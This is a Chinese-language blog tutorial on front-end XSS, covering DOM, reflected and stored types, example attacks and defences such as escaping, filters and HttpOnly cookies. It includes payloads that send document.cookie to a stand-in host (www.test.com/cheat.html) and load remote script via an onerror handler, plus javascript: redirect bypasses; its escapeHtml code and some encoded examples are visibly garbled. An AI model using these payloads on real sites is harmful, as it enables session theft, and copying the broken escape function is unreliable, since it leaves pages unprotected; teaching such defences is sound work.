前端安全系列：XSS篇

xiaolinbang 發布于2019-08-26 10:35 / 1177人閱讀

摘要：系列文章前端安全系列篇前端安全系列篇攻擊全稱跨站腳本攻擊，為不和層疊樣式表的縮寫混淆，故將跨站腳本攻擊縮寫為，是一種在應用中的計算機安全漏洞，它允許惡意用戶將代碼植入到提供給其它用戶使用的頁面中。

系列文章:

前端安全系列：XSS篇
前端安全系列：CSRF篇

XSS攻擊

全稱跨站腳本攻擊，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS，XSS是一種在web應用中的計算機安全漏洞，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

XSS攻擊的危害

盜取各類用戶帳號，如機器登錄帳號、用戶網銀帳號、各類管理員帳號

控制企業數據，包括讀取、篡改、添加、刪除企業敏感數據的能力

盜竊企業重要的具有商業價值的資料

非法轉賬

強制發送電子郵件

網站掛馬

控制受害者機器向其它網站發起攻擊

XSS漏洞的分類 本地利用漏洞

這種漏洞存在于瀏覽器頁面中,屬于前端自身問題基于DOM文檔對象模型的一種漏洞,大概步驟:

A給B發送一個惡意構造的URL

B打開惡意URL

B的瀏覽器頁面中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數據或者冒充B的行為

通過修改瀏覽器頁面中的DOM(DocumentObjectModel)時，就有可能產生這種漏洞

反射式漏洞

服務端沒有對數據進行過濾、驗證或者編碼等處理直接返回前端可能引起的漏洞

A給B發送一個惡意構造的URL

B打開目標網站,瀏覽器將包含惡意代碼的數據通過請求傳遞給服務端,其不加處理直接返回給瀏覽器

B的瀏覽器接收到響應后解析并執行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數據或者冒充B的行為

常見于網站搜索欄,登錄注冊等地方竊取用戶cookies或者進行釣魚欺騙.因為其中涉及到服務端的參與,想要避免需要后端協調.

存儲式漏洞

類似反射式但是會把未經處理的數據儲存在數據庫中

A將惡意代碼提交到目標網站的數據庫中

B打開目標網站,服務端將惡意代碼從數據庫取出拼接在HTML中返回給瀏覽器

B的瀏覽器接收到響應后解析并執行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數據或者冒充B的行為

這是屬于持久性攻擊,涉及范圍可能包括所有的訪問用戶,一般常用網站留言,評論,博客日志等.

大致對比

類型	本地利用	反射式	存儲式
觸發	用戶打開惡意構造的URL	用戶打開惡意構造的URL	1, 用戶打開惡意構造的URL 2, 攻擊者構造腳本
儲存	URL	URL	數據庫
輸出	前端	后端	后端
方式	DOM	HTTP響應	HTTP響應

XSS 常見案例 公司網站新上線一個搜索功能,B寫了這段代碼

完整源碼可以查看demo1
某天,讓A知道之后他輸入這么一段代碼,然后提交之后發現

類似的用戶輸入內容都可能被攻擊者利用拼接特殊格式的字符串形成惡意代碼,通過注入腳本引發潛在風險,瀏覽器不會區分善惡,只是按照代碼解析,于是B想了一個辦法告訴瀏覽器這段內容不該解析,所以改了一下,簡單轉義輸入內容

function escapeHtml(text) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

function unescapeHtml(str) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

$submit.click(function() {
  var val = escapeHtml($input.val());
  $output.val(val).html(val);
});

完整源碼可以查看demo2
現在瀏覽器就不會再執行里面的代碼了,實際業務中應該轉義的內容不止這么簡單

基于某些業務,例如登錄,訂單等需要攜帶參數或者重定向等信息,B寫了這么一個頁面

完整源碼可以查看demo3
A發現一個漏洞,然后發了這個網址給其他人打開

https://www.test.com/?redirect_to=javascript:alert("XSS")

當他們點擊跳轉的時候就會觸發A故意形成的惡意代碼

像這種情況B第一想法是檢驗是否網址格式再渲染界面,所以他這么寫

function testUrl(str) {
  var Expression =
    "^((https|http|ftp|rtsp|mms)?://)?" +
    "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@
    "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184
    "([0-9a-z_!~*()-]+.)*" + // 域名- www.
    "[a-z]{2,6})" + //域名的擴展名
    "(:[0-9]{1,4})?" + // 端口- :80
    "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$";
  var objExp = new RegExp(Expression);
  if (objExp.test(str) != true) {
    return false;
  } else {
    return true;
  }
}
var val = getQueryString("redirect_to");
$output.val(val);
testUrl(val) && $jump.attr("href", val);

完整源碼可以查看demo4
因為富文本有問題,只能截圖.

但是不是每個a標簽都是用于跳轉頁面的,例如通過Scheme協議打開APP界面

這樣子你就把其他非屬性跳轉的用法都干掉了,所以B想了想不妥,還是換一種方式禁止,直接判斷執行前綴

var val = getQueryString("redirect_to");
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr("href", val);

完整源碼可以查看demo5
因為瀏覽器不區分大小寫,所以需要注意一下.更新版本之后B以為已經堵死這條路了,殊不知A換個方式改成編碼或者回車空格等

https://www.test.com/?redirect_to=jav ascript:alert("XSS");
https://www.test.com/?redirect_to=javascrip?74:alert("XSS");

這就尷尬了,雖然瀏覽器并不會執行,但是這些也能完全避開B的攔截規則,也可能會引起其他隱患

還有種內聯數據用法,將序列化的數據通過URL傳遞給其他頁面使用

完整源碼可以查看demo6
A可以直接修改URL參數注入代碼

https://www.test.com/?data={"data":""}

A通過惡意腳本在頁面插入圖片自動發起惡意請求

var img = document.createElement("img");
img.src =
  "http://www.test.com/cheat.html?url=" +
  escape(window.location.href) +
  "&content=" +
  escape(document.cookie);
img.style = "display:none";
document.body.appendChild(img);

完整源碼可以查看demo7
B讓服務端采用了比較簡單的辦法使用httponly禁止JS腳本訪問cookies信息讓A無法拿到

A通過事件注入惡意腳本

var img = document.createElement("img");
img.src = "#";
img.onerror = document.body.appendChild(document.createElement("script")).src =
  "http://www.test.com/cheat.js";
img.style = "display:none";
document.body.appendChild(img);

完整源碼可以查看demo8
當瀏覽器向web服務器發送請求的時候，一般會帶上Referer，告訴服務器我是從哪個頁面鏈接過來的，服務器基此可以獲得一些信息用于處理。可以讓服務端限制必須是白名單才能通過請求達到防盜鏈功能,但是丟失Refere情況比較多,而且容易被惡意修改,所以大多只適用于資源被惡意引用的情況

A利用瀏覽器的解碼順序進行混合編碼組裝

當瀏覽器進行繪制時，解碼順序分別為 HTML > URL > JS,所以A構造了這么一段代碼

")">jump

首先是 HTML 解碼，結果為

")">jump

然后是 URL 解碼，結果為

")">jump

最后是 JS 解碼，結果為

")">jump

所以可以攻擊的方式很多種,相比于針對處理我們應該先了解相關的攻擊方式

XSS攻擊方式

所有用戶輸入內容都有潛在的風險

利用script標簽注入HTML/Javascript代碼

利用擁有href和src等屬性的標簽

利用空格、回車和Tab等拼接方式繞開攔截

利用字符編碼繞開攔截（JS支持unicode、eacapes、十六進制、十進制等編碼形式）

利用onload,onscroll等事件執行惡意代碼

利用樣式屬性backgrund-image等執行(聽說主流瀏覽器已處理)

URL參數

請求header的referer

惡意代碼拆分組裝

各種API

// URL相關
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
// 操作dom
document.write()
document.writeln()
document.boby.innerHtml
// 特殊函數
eval()
window.execScript()
window.setInterval()
window.setTimeout()
// 重定向
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open

總的來說分兩種類型:

攻擊者手動提交惡意代碼

瀏覽器自動執行惡意代碼

防御 針對上面的案例如果B選擇前端進行內容轉義,會引起什么問題呢?

如果攻擊者不直接經過前端界面,而是直接自己構造請求就可以破解了

但是B是在發送請求之前轉義又會有什么問題?

如果是需要用于界面展示的話,引用到字段的地方都需要處理,大部分模板都會自動轉義處理,但是如果用在JS不能直接使用或者計算,例如長度判斷等

需要根據上下文采用不同的轉義規則增大處理難度,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所以這更適用于固定類型的內容,例如URL,號碼等

前端基本的XSS攔截處理有哪些?

XSS Filter

用戶提交數據進行驗證,只接受限定長度/內容

表單數據指定具體類型

過濾移除特殊的html標簽,script和iframe等

過濾移除特殊的Javascript代碼,javascript:和事件等

HTML Entity(舉例部分)

符號	實體編號
<	<
>	>
&	&
"	"
"	'
空格

請求限制

將重要的Cookie標記為HTTP Only,不能通過客戶端腳本讀取和修改

設置referer防止惡意請求

實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查，以防功能被第三方網站所執行

云服務器 GPU云服務器云計算系列服務器篇前端安全 web前端安全 java前端安全問題

文章版權歸作者所有，未經允許請勿轉載,若此文章存在違規行為，您可以聯系管理員刪除。

轉載請注明本文地址：http://m.specialneedsforspecialkids.com/yun/106426.html

前端安全系列：CSRF篇

摘要：系列文章前端安全系列篇前端安全系列篇介紹跨站請求偽造，也被稱為或者，通常縮寫為或者，是一種對網站的惡意利用。系列文章: 前端安全系列：XSS篇前端安全系列：CSRF篇 CSRF介紹 CSRF（Cross-site request forgery）跨站請求偽造，也被稱為One Click Attack或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利...

Java_oldboy 2019-08-26 10:35 評論0 收藏0
【面試篇】寒冬求職之你必須要懂的Web安全

摘要：禁止內聯腳本執行規則較嚴格，目前發現使用。典型的攻擊流程受害者登錄站點，并保留了登錄憑證。站點接收到請求后，對請求進行驗證，并確認是受害者的憑證，誤以為是無辜的受害者發送的請求。攻擊完成，攻擊者在受害者不知情的情況下，冒充受害者完成了攻擊。隨著互聯網的發展，各種Web應用變得越來越復雜，滿足了用戶的各種需求的同時，各種網絡安全問題也接踵而至。作為前端工程師的我們也逃不開這個問題，今天一起...

yeyan1996 2019-06-18 11:16 評論0 收藏0
【面試篇】寒冬求職之你必須要懂的Web安全

摘要：禁止內聯腳本執行規則較嚴格，目前發現使用。典型的攻擊流程受害者登錄站點，并保留了登錄憑證。站點接收到請求后，對請求進行驗證，并確認是受害者的憑證，誤以為是無辜的受害者發送的請求。攻擊完成，攻擊者在受害者不知情的情況下，冒充受害者完成了攻擊。隨著互聯網的發展，各種Web應用變得越來越復雜，滿足了用戶的各種需求的同時，各種網絡安全問題也接踵而至。作為前端工程師的我們也逃不開這個問題，今天...

charles_paul 2019-08-26 13:45 評論0 收藏0
前端——影子殺手篇

摘要：前言對于一個影子殺手而言，總能殺人于無形。前端也有影子殺手，它總是防不勝防地危害著你的網站本篇打算介紹一些前端的影子殺手們和。影子殺手們，由來已久，幾乎伴隨著整個互聯網的發展。前言對于一個影子殺手而言，總能殺人于無形。前端也有影子殺手，它總是防不勝防地危害著你的網站本篇打算介紹一些前端的影子殺手們——XSS和CSRF。或許，你對它恨之入骨；又或者，你運用的得心應手。恨之入骨，可能...

李世贊 2019-08-21 16:57 評論0 收藏0
前端每周清單第 41 期 : Node 與 Rust、OpenCV 的火花，網絡安全二三事

摘要：的網站仍然使用有漏洞庫上周發布了開源社區安全現狀報告，發現隨著開源社區的日漸活躍，開源代碼中包含的安全漏洞以及影響的范圍也在不斷擴大。與應用安全是流行的服務端框架，本文即是介紹如何使用以及其他的框架來增強應用的安全性。 showImg(https://segmentfault.com/img/remote/1460000012181337?w=1240&h=826); 前端每周清單專注...

syoya 2019-08-21 17:48 評論0 收藏0